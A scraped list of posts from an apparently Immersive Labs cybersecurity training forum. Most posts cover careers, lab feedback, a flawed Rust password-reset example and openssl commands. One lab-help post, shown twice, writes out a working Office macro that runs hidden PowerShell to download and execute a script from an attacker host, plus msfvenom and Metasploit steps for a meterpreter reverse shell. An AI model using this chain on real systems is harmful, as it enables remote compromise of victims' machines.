questions & feedback

20 Topics

Wondering about potential jobs offered after completion of labs....
Hi - I was wondering about the jobs available after completing the labs. I've been a support engineer for five years now, most recently a senior engineer at a Silicon Valley MSP. I've already earned a one-year college Cybersecurity Networking certification from a community college (with a 3.9 GPA) and the Security+. Can someone give me an idea of potential companies? Also are any of the positions remote? I live in the northern California mountains....
ericsmithcomputers
6 months ago Place Cyber Million Forum
111Views
2likes
1Comment
Weaponization: Payloads – Office Macros
I've been banging my head against this brick wall for a few hours now and I could use a second set of eyes. 1. I've created a macro enabled word doc with the following vb code on windows machine: Sub Document_Open() Dim ps as String ps = "powershell.exe -NoExit Invoke-Expression (New-Object Net.WebClient).DownloadString('http://MY_KALI_IP/shell.ps1')" process = Shell(ps, vbhide) End Sub 2. python3 -m http.server to start server to serve shell.ps1 on request 3. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -f psh > shell.ps1 to create reverse shell with same name the command in the macro script will go looking for 4. create listener with sudo msfconsole, use exploit/multi/handler, set payload windows/meterpreter/reverse_tcp, set LHOST KALI IP, set LPORT 443 then exploit to start listener 5. back on windows machine, go to target_ip:8888, browse to macro doc, submit and execute. What am I missing?
justajolt
7 months ago Place Community Forum
111Views
1like
2Comments
How can I change my email and notification settings?
How can I change how often I receive email and notification settings?
Solved
TillyCorless
10 months ago Place Community Forum
87Views
0likes
1Comment
Why I don't like: Find the Flaw
After done almost all "Find the Flaw" labs I'm trying to give a feedback about this mode. On one hand it's quite handy and nice, to see and define flaws and link them to the corresponding CWE. But sometimes it takes time... very long time (for 20 pts!). Here's an example, I want to share which I'm struggling with and which does not makes sense for me - and there are many FtF labs like this which are forcing me to do try and error. Let's take "Find the Flaw: Rust – Identification and Authentication Failures". You'll have a code like (for brevity I've shortend it a little bit): ... #[derive(Deserialize)] struct PasswordForm { token: String, password: String, } #[derive(Deserialize)] struct UserIdQuery { user_id: String, } async fn reset_password( Query(user_id_query): Query<UserIdQuery>, pool: axum::extract::Extension<SqlitePool>, Form(form): Form<PasswordForm>, ) -> Html<String> { let user_id = user_id_query.user_id; let token = form.token; let password = form.password; if password.len() < 8 || !password.chars().any(|c| c.is_lowercase()) { return Html("Password must be at least 8 characters long and contain at least one lowercase letter.".to_string()); } let hashed_password = sha256(password.as_bytes()); let hashed_password_hex = hex::encode(hashed_password); let pool = pool.0; let result = query("SELECT user_id FROM password_resets WHERE token = ?").bind(token) .fetch_optional(&pool) .await; match result { Ok(Some(_)) => { let update_result = query( "UPDATE users SET password = ? WHERE id = ?") .bind(hashed_password_hex) .bind(user_id) .execute(&pool) .await; ... } pub async fn main() -> Result<(), std::io::Error> { ... .route("/reset_password", post(reset_password)) ... so, on the first glimpse you'll notice: let result = query("SELECT user_id FROM password_resets WHERE token = ?").bind(token) .fetch_optional(&pool) .await; and you think: cool, as long as I have a valid token I can reset ANY password, because the UserIdQuery holds the user_id from the query parameters. That must be the error. And it's clearly CWE-640 - Weak Password Recovery Mechanism for Forgotten Password. Boom! But lab says: "Correct Vulnerability but Incorrect Line" Then you say, ok.. something might be missing... or too much. you'll remove lines, 3... 2.. 1.. nothing. maybe I need to add the update password procedure? so let's click the lines on: let result = query("SELECT user_id FROM password_resets WHERE token = ?") .bind(token) .fetch_optional(&pool) .await; and... ? "Correct Vulnerability but Incorrect Line" now you start clicking on 1 up to 7 lines in all different combinations (no .await, but .bind) but: "Correct Vulnerability but Incorrect Line" You add another part of the code, which could make sense like: let user_id = user_id_query.user_id; let token = form.token; let password = form.password; Again here you start shuffling all the options (now you click between 1 up to 10 lines in all different variations) but all you get is this "Correct Vulnerability but Incorrect Line". You read again the hint you've got with the wrong answer: "Consider how the password is being reset". Yes I did, really! All the time! and so on and so on... probably I've clicked now hundreds of different combinations and so on and I start believing there's a bug in the lab (would not be the first one on this collection). So, how is it for you those "Find the flaw" labs? You like them? You struggle with them? greetings -steven ps: If you have the solution or any other hint for this one, ping me :)
steven
4 months ago Place Community Forum
82Views
0likes
3Comments
What's your favourite lab?
Have you completed a lab recently and loved the content? Maybe you encountered some tough content, but through persistence, you overcame the challenge and found it incredibly rewarding. What made the experience so impactful for you? We'd love to hear your thoughts!
TillyCorless
6 months ago Place Community Forum
82Views
1like
2Comments
Thank you, Immersive Labs
For your kindness and genius. And for allowing us to be a little bit wiser every day; thank you for your practical and theoretical labs (I have even smiled with some of them :)). Thank you for making us investigate, for going a little further; and for having an impact on our customers: protecting them better. Thank you for allowing us to work with recent CVEs from various perspectives (attack, defense and post-mortem). Thank you for your effort and for making it possible. Here's to many more years! :).
Bluesman
2 months ago Place Community Forum
67Views
5likes
1Comment
Modern Encryption: Demonstrate your skills
I am in the final lab of this collection and the step 3 I need to encrypt the file using aes 256 encryption using the following command and similar other commands I am using for setup 4 & 5 however the commands execute succesfully and a encrypted file is generated however a key file is not generated to decrypt the remaining for encrypted file to complete the lab. I need the help to solve this lab and get the badge. step 3- openssl enc -aes-256-cbc -a -pbkdf2 -nosalt -in plaintext_1.txt -out plaintext_1.enc step 4- Encrypt a file using RC4 openssl enc -rc4 -d -pbkdf2 -nosalt -in plaintext_2.txt -out plaintext_2.enc step 5- Encrypt a file using RC4 openssl enc --des-ede3-cbc -d -pbkdf2 -nosalt -in plaintext_3.txt -out plaintext_3.enc
ankush82
28 days ago Place Help & Support Forum
63Views
1like
5Comments
Operational Technology a Concern?
"Hey Immersive Labs community, I'm curious about your experiences with Operational Technology (OT) in your organizations. With the increasing convergence of IT and OT across healthcare, education, and various industries, I'm seeing more medical devices, building automation systems, and industrial control systems becoming part of our daily operations. A few questions for the community: How are you currently handling OT security challenges in your environment? What knowledge gaps do you see in your teams when it comes to securing OT systems? For those in healthcare or campus environments - what specific OT challenges keep you up at night? What skills do you wish your teams had to better manage OT security? I believe this is becoming increasingly important as more connected devices and control systems enter our networks. Would love to hear your thoughts and experiences - both challenges and successes. Looking forward to learning from everyone's perspectives!"
Gene
6 months ago Place Community Forum
61Views
2likes
1Comment
Operation Kobold - Defensive SOC Track 2
I need help with these two questions could you please guide me Continuing your analysis of the file identified in Question 29, what is the address of the C2 Server? What is the value of the watermark found in the executable identified in Question 29?
nehachawla
3 months ago Place Cyber Million Forum
55Views
1like
2Comments
World Cup Special: Immersive Squad
I've tried everything. I successfully logged in as the Croatia manager, but the page still doesn't display the roster for the Semi-Finals.. Any advice?
Solved
l_marin
2 months ago Place Community Forum
51Views
1like
3Comments

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Million Forum","shortTitle":"Cyber Million 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Forum","parent":{"__ref":"Category:category:help"}},"Category:category:blogs":{"__typename":"Category","id":"category:blogs","categoryPolicies":{"__typename":"CategoryPolicies","canReadNode":{"__typename":"PolicyResult","failureReason":null}}},"Blog:board:the-human-connection-blog":{"__typename":"Blog","id":"board:the-human-connection-blog","blogPolicies":{"__typename":"BlogPolicies","canReadNode":{"__typename":"PolicyResult","failureReason":null}},"boardPolicies":{"__typename":"BoardPolicies","canReadNode":{"__typename":"PolicyResult","failureReason":null}}},"Tkb:board:get-started":{"__typename":"Tkb","id":"board:get-started","tkbPolicies":{"__typename":"TkbPolicies","canReadNode":{"__typename":"PolicyResult","failureReason":null}},"boardPolicies":{"__typename":"BoardPolicies","canReadNode":{"__typename":"PolicyResult","failureReason":null}}},"Tkb:board:community-challenge":{"__typename":"Tkb","id":"board:community-challenge","tkbPolicies":{"__typename":"TkbPolicies","canReadNode":{"__typename":"PolicyResult","failureReason":null}},"boardPolicies":{"__typename":"BoardPolicies","canReadNode":{"__typename":"PolicyResult","failureReason":null}}},"Conversation:conversation:972":{"__typename":"Conversation","id":"conversation:972","topic":{"__typename":"ForumTopicMessage","uid":972},"lastPostingActivityTime":"2024-11-07T15:15:41.813-08:00","solved":false},"User:user:350":{"__typename":"User","uid":350,"login":"ericsmithcomputers","registrationData":{"__typename":"RegistrationData","status":null},"deleted":false,"avatar":{"__typename":"UserAvatar","url":"https://community.immersivelabs.com/t5/s/dnvaw96485/m_assets/avatars/default/avatar-3.svg?time=0"},"id":"user:350"},"ForumTopicMessage:message:972":{"__typename":"ForumTopicMessage","subject":"Wondering about potential jobs offered after completion of labs....","conversation":{"__ref":"Conversation:conversation:972"},"id":"message:972","revisionNum":1,"uid":972,"depth":0,"board":{"__ref":"Forum:board:cyber-million"},"author":{"__ref":"User:user:350"},"metrics":{"__typename":"MessageMetrics","views":111},"postTime":"2024-11-07T13:31:11.798-08:00","lastPublishTime":"2024-11-07T13:31:11.798-08:00","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})":" Hi - I was wondering about the jobs available after completing the labs. I've been a support engineer for five years now, most recently a senior engineer at a Silicon Valley MSP. I've already earned a one-year college Cybersecurity Networking certification from a community college (with a 3.9 GPA) and the Security+. Can someone give me an idea of potential companies? Also are any of the positions remote? I live in the northern California mountains.... ","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})@stringLength":"475","kudosSumWeight":2,"repliesCount":1,"readOnly":false,"images":{"__typename":"AssociatedImageConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}},"videos":{"__typename":"VideoConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}}},"Conversation:conversation:814":{"__typename":"Conversation","id":"conversation:814","topic":{"__typename":"ForumTopicMessage","uid":814},"lastPostingActivityTime":"2024-10-30T10:09:45.951-07:00","solved":false},"User:user:451":{"__typename":"User","uid":451,"login":"justajolt","registrationData":{"__typename":"RegistrationData","status":null},"deleted":false,"avatar":{"__typename":"UserAvatar","url":"https://community.immersivelabs.com/t5/s/dnvaw96485/m_assets/avatars/default/avatar-7.svg?time=0"},"id":"user:451"},"ForumTopicMessage:message:814":{"__typename":"ForumTopicMessage","subject":"Weaponization: Payloads – Office Macros","conversation":{"__ref":"Conversation:conversation:814"},"id":"message:814","revisionNum":1,"uid":814,"depth":0,"board":{"__ref":"Forum:board:community-forum"},"author":{"__ref":"User:user:451"},"metrics":{"__typename":"MessageMetrics","views":111},"postTime":"2024-10-29T03:19:46.217-07:00","lastPublishTime":"2024-10-29T03:19:46.217-07:00","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})":" I've been banging my head against this brick wall for a few hours now and I could use a second set of eyes. 1. I've created a macro enabled word doc with the following vb code on windows machine: Sub Document_Open() Dim ps as String ps = \"powershell.exe -NoExit Invoke-Expression (New-Object Net.WebClient).DownloadString('http://MY_KALI_IP/shell.ps1')\" process = Shell(ps, vbhide) End Sub 2. python3 -m http.server to start server to serve shell.ps1 on request 3. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -f psh > shell.ps1 to create reverse shell with same name the command in the macro script will go looking for 4. create listener with sudo msfconsole, use exploit/multi/handler, set payload windows/meterpreter/reverse_tcp, set LHOST KALI IP, set LPORT 443 then exploit to start listener 5. back on windows machine, go to target_ip:8888, browse to macro doc, submit and execute. What am I missing? ","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})@stringLength":"1057","kudosSumWeight":1,"repliesCount":2,"readOnly":false,"images":{"__typename":"AssociatedImageConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}},"videos":{"__typename":"VideoConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}}},"Conversation:conversation:365":{"__typename":"Conversation","id":"conversation:365","topic":{"__typename":"ForumTopicMessage","uid":365},"lastPostingActivityTime":"2024-07-11T02:28:59.368-07:00","solved":true},"User:user:2":{"__typename":"User","uid":2,"login":"TillyCorless","registrationData":{"__typename":"RegistrationData","status":null},"deleted":false,"avatar":{"__typename":"UserAvatar","url":"https://community.immersivelabs.com/t5/s/dnvaw96485/images/dS0yLUVFRzh2WA?image-coordinates=867%2C1707%2C2734%2C3574"},"id":"user:2"},"ForumTopicMessage:message:365":{"__typename":"ForumTopicMessage","subject":"How can I change my email and notification settings?","conversation":{"__ref":"Conversation:conversation:365"},"id":"message:365","revisionNum":1,"uid":365,"depth":0,"board":{"__ref":"Forum:board:community-forum"},"author":{"__ref":"User:user:2"},"metrics":{"__typename":"MessageMetrics","views":87},"postTime":"2024-07-11T02:20:06.561-07:00","lastPublishTime":"2024-07-11T02:20:06.561-07:00","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})":" How can I change how often I receive email and notification settings? ","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})@stringLength":"71","kudosSumWeight":0,"repliesCount":1,"readOnly":false,"images":{"__typename":"AssociatedImageConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}},"videos":{"__typename":"VideoConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}}},"Conversation:conversation:1426":{"__typename":"Conversation","id":"conversation:1426","topic":{"__typename":"ForumTopicMessage","uid":1426},"lastPostingActivityTime":"2025-01-23T02:49:01.196-08:00","solved":false},"User:user:77":{"__typename":"User","uid":77,"login":"steven","registrationData":{"__typename":"RegistrationData","status":null},"deleted":false,"avatar":{"__typename":"UserAvatar","url":"https://community.immersivelabs.com/t5/s/dnvaw96485/images/dS03Ny1lMEdvekM?image-coordinates=0%2C100%2C917%2C1017"},"id":"user:77"},"ForumTopicMessage:message:1426":{"__typename":"ForumTopicMessage","subject":"Why I don't like: Find the Flaw","conversation":{"__ref":"Conversation:conversation:1426"},"id":"message:1426","revisionNum":1,"uid":1426,"depth":0,"board":{"__ref":"Forum:board:community-forum"},"author":{"__ref":"User:user:77"},"metrics":{"__typename":"MessageMetrics","views":82},"postTime":"2025-01-22T15:41:38.347-08:00","lastPublishTime":"2025-01-22T15:41:38.347-08:00","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})":" After done almost all \"Find the Flaw\" labs I'm trying to give a feedback about this mode. On one hand it's quite handy and nice, to see and define flaws and link them to the corresponding CWE. But sometimes it takes time... very long time (for 20 pts!). Here's an example, I want to share which I'm struggling with and which does not makes sense for me - and there are many FtF labs like this which are forcing me to do try and error. Let's take \"Find the Flaw: Rust – Identification and Authentication Failures\". You'll have a code like (for brevity I've shortend it a little bit): ...\n#[derive(Deserialize)]\nstruct PasswordForm {\n token: String,\n password: String,\n}\n#[derive(Deserialize)]\nstruct UserIdQuery {\n user_id: String,\n}\n\nasync fn reset_password(\n Query(user_id_query): Query<UserIdQuery>,\n pool: axum::extract::Extension<SqlitePool>,\n Form(form): Form<PasswordForm>,\n) -> Html<String> {\n let user_id = user_id_query.user_id;\n let token = form.token;\n let password = form.password;\n\n if password.len() < 8 || !password.chars().any(|c| c.is_lowercase()) {\n return Html(\"Password must be at least 8 characters long and contain at least one lowercase letter.\".to_string());\n }\n\n let hashed_password = sha256(password.as_bytes());\n let hashed_password_hex = hex::encode(hashed_password);\n\n let pool = pool.0;\n let result = query(\"SELECT user_id FROM password_resets WHERE token = ?\").bind(token)\n .fetch_optional(&pool)\n .await;\n\n match result {\n Ok(Some(_)) => {\n let update_result = query(\n \"UPDATE users SET password = ? WHERE id = ?\")\n .bind(hashed_password_hex)\n .bind(user_id)\n .execute(&pool)\n .await;\n ...\n}\n\npub async fn main() -> Result<(), std::io::Error> {\n...\n .route(\"/reset_password\", post(reset_password))\n... so, on the first glimpse you'll notice: let result = query(\"SELECT user_id FROM password_resets WHERE token = ?\").bind(token)\n .fetch_optional(&pool)\n .await; and you think: cool, as long as I have a valid token I can reset ANY password, because the UserIdQuery holds the user_id from the query parameters. That must be the error. And it's clearly CWE-640 - Weak Password Recovery Mechanism for Forgotten Password. Boom! But lab says: \"Correct Vulnerability but Incorrect Line\" Then you say, ok.. something might be missing... or too much. you'll remove lines, 3... 2.. 1.. nothing. maybe I need to add the update password procedure? so let's click the lines on: let result = query(\"SELECT user_id FROM password_resets WHERE token = ?\")\n .bind(token)\n .fetch_optional(&pool)\n .await; and... ? \"Correct Vulnerability but Incorrect Line\" now you start clicking on 1 up to 7 lines in all different combinations (no .await, but .bind) but: \"Correct Vulnerability but Incorrect Line\" You add another part of the code, which could make sense like: let user_id = user_id_query.user_id;\nlet token = form.token;\nlet password = form.password; Again here you start shuffling all the options (now you click between 1 up to 10 lines in all different variations) but all you get is this \"Correct Vulnerability but Incorrect Line\". You read again the hint you've got with the wrong answer: \"Consider how the password is being reset\". Yes I did, really! All the time! and so on and so on... probably I've clicked now hundreds of different combinations and so on and I start believing there's a bug in the lab (would not be the first one on this collection). So, how is it for you those \"Find the flaw\" labs? You like them? You struggle with them? greetings -steven ps: If you have the solution or any other hint for this one, ping me :) ","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})@stringLength":"3861","kudosSumWeight":0,"repliesCount":3,"readOnly":false,"images":{"__typename":"AssociatedImageConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}},"videos":{"__typename":"VideoConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}}},"Conversation:conversation:1005":{"__typename":"Conversation","id":"conversation:1005","topic":{"__typename":"ForumTopicMessage","uid":1005},"lastPostingActivityTime":"2024-11-15T01:11:28.680-08:00","solved":false},"ForumTopicMessage:message:1005":{"__typename":"ForumTopicMessage","subject":"What's your favourite lab?","conversation":{"__ref":"Conversation:conversation:1005"},"id":"message:1005","revisionNum":1,"uid":1005,"depth":0,"board":{"__ref":"Forum:board:community-forum"},"author":{"__ref":"User:user:2"},"metrics":{"__typename":"MessageMetrics","views":82},"postTime":"2024-11-11T04:02:30.860-08:00","lastPublishTime":"2024-11-11T04:02:30.860-08:00","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})":" Have you completed a lab recently and loved the content? \n Maybe you encountered some tough content, but through persistence, you overcame the challenge and found it incredibly rewarding. What made the experience so impactful for you? \n We'd love to hear your thoughts! ","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})@stringLength":"271","kudosSumWeight":1,"repliesCount":2,"readOnly":false,"images":{"__typename":"AssociatedImageConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}},"videos":{"__typename":"VideoConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}}},"Conversation:conversation:1938":{"__typename":"Conversation","id":"conversation:1938","topic":{"__typename":"ForumTopicMessage","uid":1938},"lastPostingActivityTime":"2025-04-07T01:20:00.032-07:00","solved":false},"User:user:389":{"__typename":"User","uid":389,"login":"Bluesman","registrationData":{"__typename":"RegistrationData","status":null},"deleted":false,"avatar":{"__typename":"UserAvatar","url":"https://community.immersivelabs.com/t5/s/dnvaw96485/images/dS0zODktV2Vjd05U?image-coordinates=0%2C0%2C200%2C200"},"id":"user:389"},"ForumTopicMessage:message:1938":{"__typename":"ForumTopicMessage","subject":"Thank you, Immersive Labs","conversation":{"__ref":"Conversation:conversation:1938"},"id":"message:1938","revisionNum":1,"uid":1938,"depth":0,"board":{"__ref":"Forum:board:community-forum"},"author":{"__ref":"User:user:389"},"metrics":{"__typename":"MessageMetrics","views":67},"postTime":"2025-04-04T12:44:11.513-07:00","lastPublishTime":"2025-04-04T12:44:11.513-07:00","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})":" For your kindness and genius. And for allowing us to be a little bit wiser every day; thank you for your practical and theoretical labs (I have even smiled with some of them :)). Thank you for making us investigate, for going a little further; and for having an impact on our customers: protecting them better. Thank you for allowing us to work with recent CVEs from various perspectives (attack, defense and post-mortem). Thank you for your effort and for making it possible. Here's to many more years! :). ","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})@stringLength":"513","kudosSumWeight":5,"repliesCount":1,"readOnly":false,"images":{"__typename":"AssociatedImageConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}},"videos":{"__typename":"VideoConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}}},"Conversation:conversation:1970":{"__typename":"Conversation","id":"conversation:1970","topic":{"__typename":"ForumTopicMessage","uid":1970},"lastPostingActivityTime":"2025-04-23T01:38:56.762-07:00","solved":false},"Category:category:help":{"__typename":"Category","id":"category:help","displayId":"help"},"User:user:1359":{"__typename":"User","uid":1359,"login":"ankush82","registrationData":{"__typename":"RegistrationData","status":null},"deleted":false,"avatar":{"__typename":"UserAvatar","url":"https://community.immersivelabs.com/t5/s/dnvaw96485/m_assets/avatars/default/avatar-10.svg?time=0"},"id":"user:1359"},"ForumTopicMessage:message:1970":{"__typename":"ForumTopicMessage","subject":"Modern Encryption: Demonstrate your skills","conversation":{"__ref":"Conversation:conversation:1970"},"id":"message:1970","revisionNum":1,"uid":1970,"depth":0,"board":{"__ref":"Forum:board:help"},"author":{"__ref":"User:user:1359"},"metrics":{"__typename":"MessageMetrics","views":63},"postTime":"2025-04-10T23:51:36.738-07:00","lastPublishTime":"2025-04-10T23:51:36.738-07:00","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})":" I am in the final lab of this collection and the step 3 I need to encrypt the file using aes 256 encryption using the following command and similar other commands I am using for setup 4 & 5 however the commands execute succesfully and a encrypted file is generated however a key file is not generated to decrypt the remaining for encrypted file to complete the lab. I need the help to solve this lab and get the badge. step 3- openssl enc -aes-256-cbc -a -pbkdf2 -nosalt -in plaintext_1.txt -out plaintext_1.enc step 4- Encrypt a file using RC4 openssl enc -rc4 -d -pbkdf2 -nosalt -in plaintext_2.txt -out plaintext_2.enc step 5- Encrypt a file using RC4 openssl enc --des-ede3-cbc -d -pbkdf2 -nosalt -in plaintext_3.txt -out plaintext_3.enc ","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})@stringLength":"752","kudosSumWeight":1,"repliesCount":5,"readOnly":false,"images":{"__typename":"AssociatedImageConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}},"videos":{"__typename":"VideoConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}}},"Conversation:conversation:1093":{"__typename":"Conversation","id":"conversation:1093","topic":{"__typename":"ForumTopicMessage","uid":1093},"lastPostingActivityTime":"2024-11-20T01:14:31.030-08:00","solved":false},"User:user:594":{"__typename":"User","uid":594,"login":"Gene","registrationData":{"__typename":"RegistrationData","status":null},"deleted":false,"avatar":{"__typename":"UserAvatar","url":"https://community.immersivelabs.com/t5/s/dnvaw96485/m_assets/avatars/default/avatar-10.svg?time=0"},"id":"user:594"},"ForumTopicMessage:message:1093":{"__typename":"ForumTopicMessage","subject":"Operational Technology a Concern?","conversation":{"__ref":"Conversation:conversation:1093"},"id":"message:1093","revisionNum":1,"uid":1093,"depth":0,"board":{"__ref":"Forum:board:community-forum"},"author":{"__ref":"User:user:594"},"metrics":{"__typename":"MessageMetrics","views":61},"postTime":"2024-11-19T12:56:09.009-08:00","lastPublishTime":"2024-11-19T12:56:09.009-08:00","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})":" \"Hey Immersive Labs community, I'm curious about your experiences with Operational Technology (OT) in your organizations. With the increasing convergence of IT and OT across healthcare, education, and various industries, I'm seeing more medical devices, building automation systems, and industrial control systems becoming part of our daily operations. A few questions for the community: How are you currently handling OT security challenges in your environment? What knowledge gaps do you see in your teams when it comes to securing OT systems? For those in healthcare or campus environments - what specific OT challenges keep you up at night? What skills do you wish your teams had to better manage OT security? I believe this is becoming increasingly important as more connected devices and control systems enter our networks. Would love to hear your thoughts and experiences - both challenges and successes. Looking forward to learning from everyone's perspectives!\" ","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})@stringLength":"982","kudosSumWeight":2,"repliesCount":1,"readOnly":false,"images":{"__typename":"AssociatedImageConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}},"videos":{"__typename":"VideoConnection","edges":[],"totalCount":0,"pageInfo":{"__typename":"PageInfo","hasNextPage":false,"endCursor":null,"hasPreviousPage":false,"startCursor":null}}},"Conversation:conversation:1564":{"__typename":"Conversation","id":"conversation:1564","topic":{"__typename":"ForumTopicMessage","uid":1564},"lastPostingActivityTime":"2025-03-03T22:51:58.139-08:00","solved":false},"User:user:989":{"__typename":"User","uid":989,"login":"nehachawla","registrationData":{"__typename":"RegistrationData","status":null},"deleted":false,"avatar":{"__typename":"UserAvatar","url":"https://community.immersivelabs.com/t5/s/dnvaw96485/m_assets/avatars/default/avatar-11.svg?time=0"},"id":"user:989"},"ForumTopicMessage:message:1564":{"__typename":"ForumTopicMessage","subject":"Operation Kobold - Defensive SOC Track 2","conversation":{"__ref":"Conversation:conversation:1564"},"id":"message:1564","revisionNum":1,"uid":1564,"depth":0,"board":{"__ref":"Forum:board:cyber-million"},"author":{"__ref":"User:user:989"},"metrics":{"__typename":"MessageMetrics","views":55},"postTime":"2025-02-06T09:35:23.935-08:00","lastPublishTime":"2025-02-06T09:35:23.935-08:00","body@stripHtml({\"removeProcessingText\":true,\"removeSpoilerMarkup\":true,\"removeTocMarkup\":true,\"truncateLength\":-1})":" I need help with these two questions could you please guide me Continuing your analysis of the file identified in Question 29, what is the address of the C2 Server? What is the value of the watermark found in the executable identified in Question 29? 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